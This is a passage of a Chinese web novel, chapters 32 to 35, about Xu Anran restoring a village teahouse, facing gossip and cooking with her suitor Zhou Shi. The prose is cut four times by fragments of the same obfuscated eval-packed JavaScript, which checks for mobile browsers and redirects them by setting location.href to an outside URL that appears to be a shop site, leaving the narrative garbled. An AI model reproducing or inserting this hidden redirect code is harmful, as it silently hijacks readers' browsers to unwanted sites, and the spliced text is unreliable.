RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210286|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人吗?”说完,起身快速拿过两个包子,然后大摇大摆地离开了。 离开前,他又说:“我瞧那姑娘并非对你没感觉,干脆直接撂了吧,直接点,即使人家姑娘没那么快同意,但你也能光明正大地追求人家了不是。” 看着李四的背影,周时终于下定决心。他猛地起身,“我明白了,四叔!” 李四没有回头,笑着说:“等你好消息啊。”话落,彻底没了身影。 很快到了徐安然约定的时间,周时早早就到茶馆外等着了。门外已经上了锁,他进不去,只好在外面等着。 徐安然和苏清到的时候,正好看见周时在清扫门外的垃圾。上次从茶馆里整理出来很多破碎的生活杂物,被子草席等,茶馆曾经有人住过,徐安然猜测可能是某个无家可归的人,所以有这些生活痕迹,这也是徐安然上锁的原因。 这次她好不容易整理出来了,可不能再让陌生人住进去了。 上次已经将茶馆里外清理了一遍,杂草、碎木、灰尘等都经过了处理,今日是来个完整的大扫除,窗户、门、地板等需要全部用水清洗一遍。 茶馆内有六扇窗户,两扇门,其中只有两扇窗户是需要维修的,其他都完好无损。 得知徐安然今日的计划,周时连忙道:“我去打水。” 院子里有一口井,但很久没用,已经干涸了。如果想要恢复使用,需要重新引水,所以现在他们想要打扫,只能去对面的池塘里打水,虽然不算远。但若之后苏清母女两人,显然是十分吃力的,但周时在,就不吃力了。 这也是即使徐安然内心想跟周时保持一定的距离,但还是拒绝不了他想要帮忙这件事。 她真双标啊。徐安然心想。 在她发呆期间,周时已经挑回来两桶水了。他自己带了扫洒工具,所以没等徐安然吩咐,已经着手收拾起来了。 他负责最麻烦的扫地工作,地板的灰尘多,需要先撒上一些水才能打扫,省得灰尘满天飞。 一趟扫完过后,周时又去挑回来了两桶水,紧接着在一根木棍上缠缠住一块后抹布,弯腰开始拖地。 徐安然将这一切都看在眼里。中午的六个包子,应该还是给少了。 周时活儿干得利索又干净,她和苏清刚擦完一扇窗户,他已经扫完了整个茶馆的地板。 苏清震惊无比,徐安然更是以一种神的眼神看着周时。 饶是她前世手底下拥有过那么多优秀的员工,但都没有一位员工像周时这样这么合她心意。 她笑呵呵地接过周时手上的木棍拖把,“周大哥,你休息休息,别累坏了。” 周时只当徐安然在关心他,他憨厚地笑:“没事,我不累,你和苏婶休息吧,擦擦窗户很累。” 额……再累也没有您擦了一整个茶馆地板的活儿累啊,面积大小都不是一个级别的。 “行吧,那我们一起休息,傍晚你跟我回家一趟吧,我再多拿几个包子给你,这让你干这么多活儿,我怪不好意思的。”徐安然难为情地说。 周时欣然接受,他嘴角扯出一道很好看的弧度,轻声回:“好。” 32. 第 32 章 三人一起在茶馆外的石凳上休息,远看,画面竟一点儿也不违和,像一家三口。 秀敏两姐妹到茶馆时,都这样认为。 “安然在吃什么呢?” 她们跟徐安然越来越熟了,说话也少了几分客套,多了几分随意。本来姐妹二人先去的徐安然家,发现家中无人,稍微想了想,也就只有茶馆能来了。 “打扫茶馆也不告诉我们一声,就只叫周大哥来哦~”李秀莲倾斜身体,轻轻撞了撞徐安然的肩膀,语气满是调侃。 徐安然连忙出声否认,“不是……” “行啦,我们都懂的,都懂的~” 你们懂什么啊…… 徐安然知道再怎么解释都没用,索性将带来的包子分给她们两个,以此来堵住两人的嘴。 果不其然,她们双眼死死盯着包子,如果此刻是黑夜,眼里的亮光可以充当一盏烛火了。 苏清此刻就在一旁安静坐着,小口吃着包子,笑容慈祥地看着这一群年轻人吵闹,跟她们待在同一个空间,感觉到自己都年轻了几分。 “这是莲藕馅儿的?是昨日我带去的莲藕做的吗?”李秀莲迫不及待问。 徐安然点了点头。 她没想到自己带去的莲藕还能做出这么好吃的包子,激情地承诺:“晚点我再送去些给你,我们家莲藕就是要送给你这样会下厨的人!” “行呀,我是欣然接受的。” “那……那如果有好吃的,能不能也有我的一份?”李秀莲低着头,语气扭捏,但下一秒,她突然抬起头,语气变得十分诚恳,“我们姐妹俩吃得不多的!” “当然,你们提供食材,我负责加工,自然可以品尝,这是很正常滴,莫要这么拘谨。” 得到肯定的答复,李秀莲笑得十分开心,“我就知道安然会同意,嘿嘿~”她今后崇拜的人,非徐安然莫属了。 自从吃了徐安然做的菜,聚福楼的烤鸡她再也没吃过了,倒也不是不想吃,而是每次去镇上,都想不到要过去买,心思全在徐安然的摊位上。 几人很快将手上的包子吃完,李秀莲还有些意犹未尽,但一想到茶馆还有很多地方需要收拾,她赶紧调整好思绪,跟着自己姐姐去擦另一扇窗户。 多了两个人帮忙,工作速度快了许多。两姐妹干活虽然没有周时那样利索,但是比她和苏清快多了,这倒是激起了徐安然的好胜心。 她提出比赛,比赛奖励是食盒里最后一个包子的拥有者。 徐安然真是个奸商,此话一出,姐妹俩干活更卖力了。 周时不在这次的比赛范围内,因为他属于开挂的存在。而且如果他也参与这个比赛的话,那结果就没什么悬念了。 但其实即使周时不参加比赛,比赛结果也没什么悬念的。 到比赛结束,李秀莲更是直接放话:“安然,下次再有这样的比赛,你直接把奖品给我们俩姐妹就行了。不必这么大费周折。” “不这样做,怎么让你们干活的速度更快一些呢。” 到这里,两人才意识到徐安然真正的目的,两人大喊奸商,徐安然不生气,相反很享受这样的称呼。 奸商,说明会做生意。是个好词。这年头老实人做生意是赚不到钱的。 “但是我们喜欢这样的比赛,以后多来一点可以吗?” 徐安然轻轻留下一句,“我考虑考虑吧~”便又继续做回自己手上的事情。 接下来的时间,大家心照不宣地不再说话,安安静静地干活,直到一声响亮的泼水声响起。 徐安然顺着声音望过去,是周时在冲洗地面。 但是需要的水太多了,这会儿日头烤人,徐安然打断他要出门打水的动作。 “地板先别冲洗了,改日我叫人来这儿将井水引上来,这样打水方便,倒时再洗。洗地面不是那么着急的事,茶馆里还有很多地方没擦干净呢,到时依旧会有产生很多灰尘。”徐安然跟他解释道。 周时只会埋头干活,脑子是一点儿都不转啊。她心想。 但这样也好,没什么心机,她好拿捏。至于拿捏什么……她自己现在也想不出来。 “行,听你的。” 两人的对话都被苏清和两姐妹听了去,特别是那句“听你的”。 李秀敏不知从哪里掏出了一把瓜子,边嗑边说: “妹儿,好甜。” “姐儿,你不就爱吃点甜的吗。” “嘿嘿,是的,不管是什么甜的,只要是甜的,姐都爱吃~” 她向李秀莲递出一个你懂我的眼神,李秀莲精准捕捉到,也回了一个意味不明的眼神,随后两人环抱着手,活脱脱两个吃瓜群众的样子,看着此刻不远处还在聊天的两人。 “傍晚你再来我家一趟吧,家中还有些包子你拿回去,顺便将今早装荸荠的背篓也带回去。” 那背篓是周时的,她已经将荸荠都换了地方,所以那背篓可以还给他了。 “行,包子就不用了。你留着吃就行,改日我上山打猎,再给你送些肉来,倒时你做了包子我再来吃。” “随你吧。”说完后,徐安然果断转身,拿上石桌边的抹布,前往茶馆的最后一扇完好的窗户。 擦完这扇窗户,今天的活儿就结束了。 工作要慢慢推进,一天的时间想做完不可能实现,还会把身体搞累,万一生了病,更得不偿失。 弄完这一切,几人一起回家。 路上,难免会遇见几个同村的人。最近徐安然重新整理旧茶馆的事情,村里人都知道了。 有些人表示支持,而有些人不看好,更有的尽说些风凉话。 村中央,大树下,几个中年男人围坐在一起磕着瓜子聊天。 “你是说,徐家那孩子最近开始学做生意了?” “对啊,我瞧见她常坐着李四的牛车去镇上,周时那孩子也跟着呢。” “周时?他平日里不都步行去镇上吗?比牛车快多了。” “谁知道呢,我家里婆娘说,是两人好上了。” “徐家那男人都死了多少年了,他女儿居然要步入他的后尘,一个女人会做什么生意,这不闹呢。” “可不嘛,要我说,赶紧找个男人嫁了才对,你可别说,徐家那小娘子,脸蛋可水灵了,嘿嘿~”说完,男人脸上露出猥琐好色的表情。 男人们你一句我一句地七嘴八舌着,一点也不将路过的当事人放在眼里。 “呸,这群老不死的男人,娶不着的老光棍,他们怎么好意思在背后说别人?娘上去评评理。”苏清听不得自己女儿被人这样诋毁,就要冲上去跟那群人争论。 但没等她走上去,就被徐安然和周时一人抓住一只胳膊。 “娘。”徐安然摇了摇头,“先别去,现在不是时候。” “苏婶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217066|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,您在这看着就行,我过去看看他们究竟想干什么。”周时听力极好,将这些人的话全听了去。特别是最后一句话,彻底点燃了他的怒火。 没等徐安然和苏清再做出什么反应,便大步流星地走上前去,死死盯着说话的几人。 说话的几个老光棍感觉头顶传来一阵凉意,阴森森的,不自觉地抖了抖身体,随后抬起头。 正好对上周时凶狠的双目。 “周……周时。你什么时候在我们旁边的?”其中一个光头中年男子问道,随后他视线瞥向别处,刚好看见徐安然一众人。 光头中年男子今年五十三,是山亭村知名的无业游民和好吃懒做,曾经骚扰过苏清,但是在迫于村长李爱年的威慑,他没敢做更出格的事情。 但是心里却一直对苏清母女俩有想法,如今苏清老了,对苏清的想法少了许多,却又将目光投到了徐安然身上。 但其实他的胆子比老鼠还小。 “李腿根,你说的话我可都听见了。” “你听见什么了?” 周时看了一眼不远处的徐安然,随后弯下腰,用只有他们能听见的音调说道:“徐安然是我喜欢的女子,所以我劝腿根叔,赶紧灭了心里那些龌龊的想法,否则我不介意让你这辈子都只能当个‘光棍’。” “光棍”二字一出,李腿根吓得从椅子上跌落。 他是男人,哪里不知道这着重强调的两个字是什么意思。 如果换做其他人这么威胁他,他不会那么害怕,但这人是周时,村里都知道他的力气大,而且会武。 可不能用下半辈子的幸福做赌注。 周时喜欢谁不好,偏偏喜欢徐安然。 李腿根心里无声地骂着二人,但面上却小心翼翼地讪笑:“周时,你看,你都叫我叔了,那我就是你的长辈,也是徐家姑娘的长辈,长辈怎么可能会对小辈起歪心思,对吧?” 周时皮笑肉不笑,对于这种无赖的话,他不能全信,还是得找个时间悄悄教训一下他。 “对。”周时说,“我暂且信你说的话,还有,女子也能做生意,镇上不是没有女子开铺子的先例,别以你们浅薄的见识去否定任何一个人,徐安然靠自己努力养活自己和苏婶,比你们这些整日只会在村里闲逛,吃老本的光棍们好多了。” 几人被周时训得来了脾气,想反驳,但又觉得他说得挺对,他们确实在吃老本,如果将老本都吃光了,估计比徐家还穷。 但他们不要面子的吗? “就是,用这嘴别人的时间找个活儿干,或许还能娶上个媳妇老来得子。” “得了吧,苏婶,哪有那么笨的女子会嫁过来吃苦?现在当了媳妇过几年还得给他们当子女照顾着呢。毕竟一个个都那么大年纪了,再过几年就只能躺在床上话都说不利索了。” 李秀莲那叫一个毒舌,说的话攻击力十足。 在场所有光棍都被戳中了弱点,一个个急头白脸的。 “只需你们背后说别人坏话,不许我们说你们了?算起来,我们比你们还光明磊落多了,至少话都是当面说的。”李秀敏也不甘示弱。 两姐妹在山亭村的地位绝对权威,因为家里有钱,是除了村长一家之外,最不好惹的人家了。 如今徐安然一家跟她们走得那么近,关系一定好,几人只能咽下这口气,愤愤地离开。 惹不过,走还不行吗。 33. 第 33 章 徐安然全程一句话都没能说,身边的亲人和朋友都在帮她说话。 在现代,她从未有过这样的待遇。 相比于那些人的恶意,更惶恐大家对她的好。 “谢谢你们。”她说。 虽然只是一句简单的谢谢,但徐安然说得格外认真。 “哎呀,帮姐妹说话,哪里要这么客气?你就放心吧安然,我们姐妹俩终于知道以前你为什么不爱出门了,但现在你就尽管做自己想做的事情,有我们这些好朋友在,没人能欺负得了你!” 每个地方都会有那么几个蛀虫,但徐安然觉得,山亭村很好。非常好。 “不知道怎么感谢你们。”她又说。 “想感谢还不容易呀?好吃的呀~” 两姐妹分别挽着她的胳膊,朝她家的方向走去。 身后的周时和苏清对视了一眼,无声地跟上。 “孩子,你喜欢我们家安然吧?”苏清带着答案问问题,只是想得到周时的亲口承认。 周时有那么一瞬间地愣神,随后支支吾吾地说:“苏婶……我……我跟……跟那些人不一样。” 苏清释然地笑了,她拍了拍周时的手臂,“傻孩子,紧张什么,苏婶又没说拒绝你追求安然。” 说完,她看着徐安然的背影,眼里满是欣赏和疼爱,“安然这孩子,有自己的想法,我不好干涉,虽说父母之命,媒妁之言,但在我们家不这样,你喜欢安然没用,得安然也喜欢你,我才会同意你们在一起。明白吗?” 日子是两口子过的,自然是要互相喜欢才能组成新的家庭。这点她的观点和徐安然不谋而合。 “我明白,苏婶,我会努力。”周时十分认真地说,这次,不再支支吾吾。 “行,婶信你,也谢谢你刚刚为安然说话,我知道,她心里并不讨厌你,只是还没看清自己的心罢了,别操之过急,慢慢来。” “嗯!”周时重重点头。 接下来的时间,周时内心十分雀跃。 更是时不时看着徐安然傻笑,平日不苟言笑的样子看着挺严肃的,但只要一傻笑,就显得格外弱智。反正徐安然是这么觉得。 “你老看着我笑干什么?”在第五次看着徐安然傻笑后,她终于忍不住问,并像看傻子一样看着他。 “哦,没什么。我先回去了。”周时拿上院子里被倒挂的背篓,跟苏清说了句道别,便离开了徐安然的家,留下一脸莫名的她。 “我们还有包子吃嘛?”等周时离开后,李秀莲的声音将徐安然拉回现实。 “有的,在厨房,我给你们拿。” 本身包子大部分馅料都来自于莲藕,所以徐安然又很大方地给她们装了四个包子带回去,至于回去怎么分,就看她们姐妹俩了。 两姐妹走后,家里顿时安静了许多。 傍晚,徐安然和苏清两人坐在院子里的石凳上,一人拿着一个荸荠削皮。 “娘,明日我再去趟镇上,这荸荠做成熟食之后好卖,不需要太高的成本,老赚钱了。” “行,那我今日就多削一些,明日啊,你就能多卖些。” “好~” 母女俩又忙活了好一会儿,徐安然这才回到厨房准备晚上的晚饭。 她刚要烧火,周时便来了。依旧不是空着手来,还带了几斤瘦肉。没想到他真的说道做到了,徐安然一瞬间不知道是该收下还是该拒绝。 肉是好肉,新鲜,而且肥瘦相间。 没等她想好该怎么处理这块肉,身旁的苏清便替她收下了。 “娘。”徐安然连忙制止,“这不太好吧。” “我今日吃了那么多包子,你该收下。” “嗯……你这么说也对。”徐安然本来就挺想吃肉的,所以便顺着周时的话接下了。 “那你今晚在我家吃饭吧。今日你在茶馆也帮了我不少忙,正好,今天就吃这肉。”她扬了扬手上的肉,笑着说道。 这么诚挚的邀请,当然不能拒绝,而且这也是促进他们关系的一个机会,周时连忙点头,“好,那我帮你?” “行,你进来帮我烧火吧,你应该会烧火的哦?” 周时胸有成竹,“会!” 肥瘦相间的五花肉,自然要做成红烧肉咯,恰好家里还有些青菜,还有荸荠这样解腻的食物,做三个菜绰绰有余了。 心中又了主意,她便着手开始准备了。 周时就在她旁边,厨房就那么大点儿地方,平日她跟苏清两个人在这儿刚刚好,但换做周时,就显得有些拥挤了。 不过倒也还能接受,因为周时干活确实利索,和苏清对比起来。 比如她要切肉,周时会将帮她把刀和砧板都洗干净,并且擦干水分。再比如她刚要拿菜,周时便会比她先一步拿走,将菜洗干净后放在一旁备着。 好像她心里在想什么,周时都知道一样。 “真有眼力见,厨房好帮手非你莫属了。” “谢谢夸奖,我继续保持?” “可以。” 徐安然嘴上回答周时的问题,手上也一点儿没停。 “这道红烧肉你就期待吧,我做红烧肉不比做糖醋鱼差。”厨房里有人,徐安然的聊天欲也上来了,她完全忘了,周时没吃过她做的糖醋鱼。 “糖醋鱼?你做的?我没有吃过。” 徐安然从切肉的世界中抬起头,表情十分尴尬,连忙补充道:“也不比莲藕酱肉包差。你知道这道菜做好之后,最费的是什么吗?” “是什么?”周时茫然地问。 “是米饭呀~” 为了缓解刚才的尴尬,她开了个玩笑。 “哈哈哈哈~”没等周时反应过来,苏清先笑了,她就在厨房外观察着两人的一举一动。自己女儿今日话比往常多,还开起了玩笑,说对周时没有好感,只是她自己骗自己的谎言罢了。 周时总算反应过来了,他低头害羞地笑,小声说:“我记住了。” “嗯,虽然学不会我的厨艺,但是学会我说冷笑话的功力,也是可以的,至少以后在对面自己媳妇的时候不会那么呆板哈。” 此话一出,周时顿时看向徐安然。 但很遗憾,此刻的徐安然一心都在备菜,压根没注意到他那意味深长的眼神。 五花肉切丁,顺着纹理切,家里的刀有些钝了,所以徐安然切起来有些吃力。周时将这一切都看在眼里,环顾四周,没发现磨刀的工具,只能暂时压下心里的想法。 “水烧开了。”周时说。 在切肉的时候,徐安然就提前跟他说要烧一锅沸水了,水开之后,徐安然的肉也正好切得差不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223557|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了。 她将五花肉丢入沸水中,加了些醋和酒,又加了些葱,将猪肉里的血沫煮出来,调料和配料的加入也是为了让猪肉更好地去醒。 古代的调味料没有现代那么丰富,所以徐安然只能煮的时间长一些,等到猪肉的颜色彻底变白,这菜将其捞出。 此时,苏清提着一个缺了角的砂锅进入厨房, “安然,锅刷干净了,你看看,这还能用不?娘瞧着应该没漏水。”她将砂锅放在灶台处。 家里用的是铁锅,但是铁锅做红烧肉,受热不均匀,做出来之后口感不一。本来她们家没有砂锅,但是今天打扫茶馆的时候,在厨房的角落发现了这一口孤零零的缺了点角的砂锅,想着带回来可能会用的上的心里,徐安然将其背回来了。 没想到当晚就用上了。 将捞起来的猪肉放入碗里,她赶忙准备其他配菜。 配菜只需要生姜和小葱两种,不需要太多的配料,主要激发原本的肉香味。 姜她不用切的,而是直接拍扁,准备好这一切后,锅里加上两勺芝麻油,先加入姜,煸香,将姜里所有的味道都激发出来。 她放了一整颗姜,实在没别的调料了,为了掩盖住猪肉的腥臊味,只能大量地放姜。中小火的煸炒大约半刻钟,再加入小葱煸半刻钟,之后倒入五花肉。 徐安然缓慢地翻炒,期间火候一直保持在中小火的状态,让肉的颜色变得微微焦黄,这一步骤不能少,目的就是为了让肉的表面变得更紧实,这样在炖的时候,五花肉才不容易烂。 此时,肉的颜色已经变成了更浓一些的焦黄色,在这时候加些白糖,翻炒和肉融化在一起,到这一步应该放老抽,但是老抽这个概念,到清代的时候才开始出现。 现在这个时候按照历史推算,应该是北宋的仁宗时期。 所以只有酱油。 但也够用了,只是颜色没那么深而已。 酱油她倒了很多,一旁安静观察的周时都惊呆了。 “酱油会不会太多了些?” “不会,一会儿还得炖呢,可不是让我娘白洗这个砂锅。”五花肉本来就很难入味,调味就得多加。 除了酱油之外,徐安然又加了些米酒进行调味。做完这些,欲要将所有的肉和酱汁一起倒入砂锅中。 周时眼疾手快,揽下了这个比较重的活儿。 “我来,烫。” “其实还好啦。”话虽这么说,但徐安然还是让开了。 周时根据她的指引,将锅里的肉尽数倒入砂锅中,然后盖上盖子,视线重新回到她的身上,等待下一步指令。 “中火,炖半个时辰。”徐安然说完,解开了身上的围裙,往厨房外走去。 对面的三只兔子已经饿得不行了,她连忙挑了几朵菜叶子放进笼子里,三只兔子立刻围成一个三角的圈儿,各自啃各自的菜叶子。 “明日去镇上买些胡萝卜回来给它们吃吧,偶尔换点口味。” 兔子果真成了精,听到胡萝卜,连续甩动自己的耳朵,吃菜的动作都快了许多。 等它们都吃完后,徐安然这才打开了兔笼,让它们在院子里撒欢。 但今天的兔子却不像往常那样活泼,因为周时在家里,当初它们就是被周时抓走的,心里的阴影,还没散去呢。 34. 第 34 章 虽说红烧肉需要炖半时辰,但每隔三刻钟左右就得掀开盖子撇油。 第一次掀开盖子,油很少,第二次掀开盖子,油就变多了,到第三次,肉的香味已经十分浓郁了,甚至传出了厨房,传到了大门外。 好在这个时间屋外没人经过,否则高低会有人敲门问问情况的吧。周时心想,同时不自觉地咽了咽口水。他自诩不是贪吃之人,但眼前还未出锅的红烧肉却引得他目光紧紧跟随,一点儿也挪不开。 美食不会骗人,任何人在它面前都会露出本性。[1] 徐安然自然也看到了周时那渴望的眼神,她嘴角扬起一个好看的弧度,心里十分雀跃。周时都抵抗不了红烧肉的诱惑,那么这道菜也可以加入菜单了。 第三次撇油后,她让周时加了些柴火,这一步就叫做大火收汁。收汁后,浓油赤酱的感觉就出来了,远看,更像颗玛瑙。 将满满一碟红烧肉放在桌上,碟子里的肉随着放下的动作轻微晃了晃,肉眼可见弹性十足。 作为厨师,当然要先吃第一口。徐安然拿出一双干净的筷子,夹起锅里最后一块红烧肉。 这道菜更考验的是对火候的掌控,吃的时候,首先是甜味,紧接在咀嚼中柴火的气味似有若无地出现。 “你火烧得不错。” 其实柴火饭、或者说柴火菜,吃的就是一个锅气,这是煤气灶给不了的口感,喜欢的人会非常喜欢,比如徐安然。 这种味道,给人一种很安心的感觉。 “我们在柿子树下吃吧。”徐安然指着厨房前的石桌道。 “好。” 柿子树下的石凳才能拖得起周时的体重,家里的两个小板凳可不行,他一坐就得塌了。 青菜和荸荠两道菜做得很快,将肉端出去放好之后,周时继续回到厨房帮徐安然烧火。 “你先跟我娘吃奔,两道菜很快的。”周时怎么说都是客人,一直让客人待在厨房里也不太好。 但周时才不会让徐安然一个人在厨房里忙呢,饭得一起吃,哪里有他先吃的道理。 “我等你。”他说。 徐安然转过头探究地看了他一眼,随后点了点头:“行,随便你。反正你在这儿也没有帮过倒忙。” 天色渐暗,每家每户都点上了灯,苏清将家里的烛火拿到外头的是桌上,然后安安静静地坐在椅子上等着徐安然和周时开饭。 没让她等多久,便见到徐安然拿着一口锅、周时拿着两碟菜出现,都稳稳地放在桌上。 “可以吃饭啦。”她连忙坐下。 她早就饿得不行了,白天工作太累,到了傍晚就很容易饿,再着说,她现在这幅身体的年纪才十九,还在长身体呢。 周时顺势坐在她旁边,这还是他第一次跟徐安然一起同桌吃饭,心里还有些紧张。 但很快,心中的紧张就被嘴里的红烧肉给化解了。他常去聚福楼卖东西,偶尔会在那边解决午饭,聚福楼的红烧肉也不错,但跟面前的这道,真的没有可比性。 嘴里的红烧肉肥而不腻,即使是肥肉的部分也特别香。 “我瞧着这红烧肉的做法并没有什么特别,为何比聚福楼的还吃那么多?”周时忍不住问出心中的疑惑。 徐安然也不藏着掖着,她说:“是因为三次掀盖,把酱汁里的油水给撇了出去,炖的时间够长,将肉里的油都炖出来了,所以才不会腻,而且我家的香料很少,在肥而不腻的同时,更大程度地保留了肉地原滋原味。” “我学会了。”周时点了点头,他心中想着回家试试。 做饭太辛苦了,如果他也能学会的话…… 算了算了,后面的先不去想。 三人在院子里享受着美食,与此同时的周时家……李祥云抱着一袋油纸包裹着烧鸡出现在这里。他望着没有一点光亮的家,心中疑惑。 “人呢,这个时间了,不会还在山上没下来吧?” 虽然周时的体格和胆量都在他之上,但是他还是忍不住担忧。于是又来到李四家中,这时的李四正在跟媳妇吃饭。 好巧不巧,吃的也是红烧肉。 “哟,这不是我好久没见面的亲弟弟嘛,哎呀,来哥哥家,怎么还带着只烤鸡?那么客气干嘛呀。”李四话是这么说,但是手十分诚实地想要接过他手上的烧鸡,奈何被他灵活地闪开了。 “哥,这烤鸡是我买来给小时的,不是给你的。别自作多情了。” “啧。”李四知道后,没了一开始的热情,一屁股坐回饭桌上,一个眼神都不给他的。 倒是高玉十分热情地让李祥云落座,一起吃饭。 哥弟俩的关系其实不错,只是平日爱斗嘴,这样的场面,她看了几十年了,早习惯了。就是因为李四疼爱周时,李祥云这个弟弟才会爱屋及乌。 “嫂子,小时去哪儿了?”看哥嫂两人淡定的样子,他坚定认为两人知道。 果不其然…… “去女孩家吃饭了。” 此话一出,李祥云立刻来了兴致,他挪动椅子,往李四身旁凑了凑,小声打听道:“哥,哪家女孩啊?你是不是知道些什么?” “哼。”李四现在显然不想说,并且眼睛有意无意地看着他手上的烧鸡。 既然周时娶别人家吃饭了,那这烧鸡今日他就吃不上了,所以他笑眯眯地打开装着着急的油纸袋,笑着说:“哥哥嫂嫂,添只烧鸡给您俩加餐,如何?聚福楼刚出锅的烧鸡哦,还热乎着呢。” 高玉倒还好,她没那么馋,但李四忍不住了。 他盯着烧鸡咽了咽口水,随后伸手扯下一只肥美的鸡腿,没自己吃,而是先放进了高玉的碗里:“媳妇,肥美的鸡腿,你先吃。” 高玉笑着点了点头,没说话,将聊天空间留给哥俩。 这样秀恩爱的场面,他常见到,所以现在已经脱敏了,此刻他只想知道周时对哪家女子有意思,是不是那天在山下见到的那个女孩? 只见李四摘下第二只鸡腿,这次是给自己吃的,他缓缓咬下一口鸡腿肉,闭眼回味了一会儿,随后搓了搓手,这才开始讲起来周时的事情。 “徐家那丫头你知道吧?” “还真是那孩子啊?” 李祥云近几个月不常回山亭村,所以他的话让李四有些错愕,“你知道?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227064|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前段时间回来的时候在山下偶遇过,那是小时带着一个女孩下山,我当时追着他问了好久,他啥都不告诉我。”说完,李祥云叹了口气,“我听说那孩子不爱出门,在村里这么多年都没多少人见到过她长什么模样,但我那日见到的,和传言不太一样啊。” “可能人家孩子以前低调呢,我喜欢那孩子,看着很机灵,而且啊……” “而且什么?” “而且做菜好吃~”高玉吃完了碗里的鸡腿,接着李四的话说道。 “怪不得,小时这么有分寸的孩子居然也会去女孩家吃饭。”李祥云本就对徐安然这个人感到十分好奇,现在得知她做菜好吃,心里更好奇了。 “听闻那孩子最近想开饭馆做生意,地址就在……原先的山间茶馆,她父亲在世时经营的茶馆,我记得你也去那儿喝过茶。” “记起来了,我都记起来了。” 当时他还是二十多岁血气方刚的年纪,有一次在茶馆里跟人起了争执,还是茶馆的老板帮他说话摆平的,那个人就是徐大志。 “说到底那孩子还是苦。”李四叹了口气,随后话锋一转,“所以你明日再买只烤鸡去给那孩子吧,小时不能白在她们家吃饭,你个做长辈的,该表示表示,能帮得上忙的,也帮一帮。” 李祥云脑子聪明,算数更快,不知道以后能不能帮到徐安然。 “行,你放心吧哥,小时喜欢的女子,我自然也要待她好,说不定很快就能成为一家人了呢。” “希望吧,这样我也算是完成了他爹临死前最大的愿望了。” 话题突然变得沉重,二人的酒也越喝越多…… 周时回家时,便见到了两个酒鬼,在他家门口,互相搭着肩膀诉衷肠。 他没开门,而是转身去了旁边的李四家。此时高玉正在打扫院子。 “高婶。”周时喊了一身,然后顺手接过她手上的扫帚,边扫边问:“四叔和小叔,喝了多少?” “整整一坛,喝完之后,硬是要去你家们口等你回来。” 周时听着高玉的解释,三下五除二地将院子打扫干净后,便离开了李四家。 回到自家门口时,站了好久两人才发现他。 周时叹了口气,这两位长辈,有时候真的挺幼稚的,今晚又要照顾他们俩了。 不过周时却一点儿也不觉得烦,以往还有些小脾气,但今日,他心里十分开心,所以即使两人喝得烂醉,吐在家里,也没有一点脾气。 以往李四喝醉,高玉都不让他回家,所以他只能住在周时这里。 将两人安顿在隔壁房间,他这才来到澡房洗漱,洗漱完后,将家里整理了一遍,紧接着又去隔壁房间看了一眼两位长辈,见他们睡得香,这才放心回到自己房间休息。 这就是平日他一天的生活轨迹,枯燥又平淡。本以为生活会一直这样重复下去。 直到两个月前的一个普通早晨,有位女子带着银子叩响了他的房门,现在想想,那日何尝不是打开了自己的心门。 今夜的周时睡得格外香甜,即使隔壁两位长辈的呼噜声已经快要穿透天际了……却丝毫影响不到他半分。 35. 第 35 章 直到第二天清晨……天蒙蒙亮。 周时今日起晚了,所以此刻在他的床前,两张探究的脸正死死盯着他看,睁开眼时,差点把他吓得再次睡过去。 “你们俩干什么?”周时往床后边缩了缩,大块头此刻看着有些无助,“你们是怎么进我房间的?我不是锁了门……” “开个锁对四叔来讲能是什么难事?平日敲门进你屋纯粹是做个样子。” “你们要做什么?大清早的,别吓人行不。”周时又问。 “昨日我们喝多了,没能问,那姑娘家的饭菜味道咋样?” 李四和李祥云各自坐在床的一边,显然,他们今天不得到一个答案是不会走的。 周时叹了口气,但一回想到昨日的场景,就忍不住开心。 于是李四和李祥云两人就这样看着周时从一本正经到春心荡漾…… “别笑了行吗,具体啥情况啊,你说一说,我是不是得带点礼物去她们家了?毕竟你俩都好事将近了。”得不到周时的回答,李祥云便直接说出了自己的心里话。 倒也不是真的那么着急,只是想炸一炸周时。 果不其然…… “小叔,你别着急,还没打那一步呢。不过……” “不过什么?”两人再次朝周时身边凑近。 “不过……苏婶知道我的心思了,她并不反对,这是件好事,我慢慢来,你们俩就别给我添乱了。” 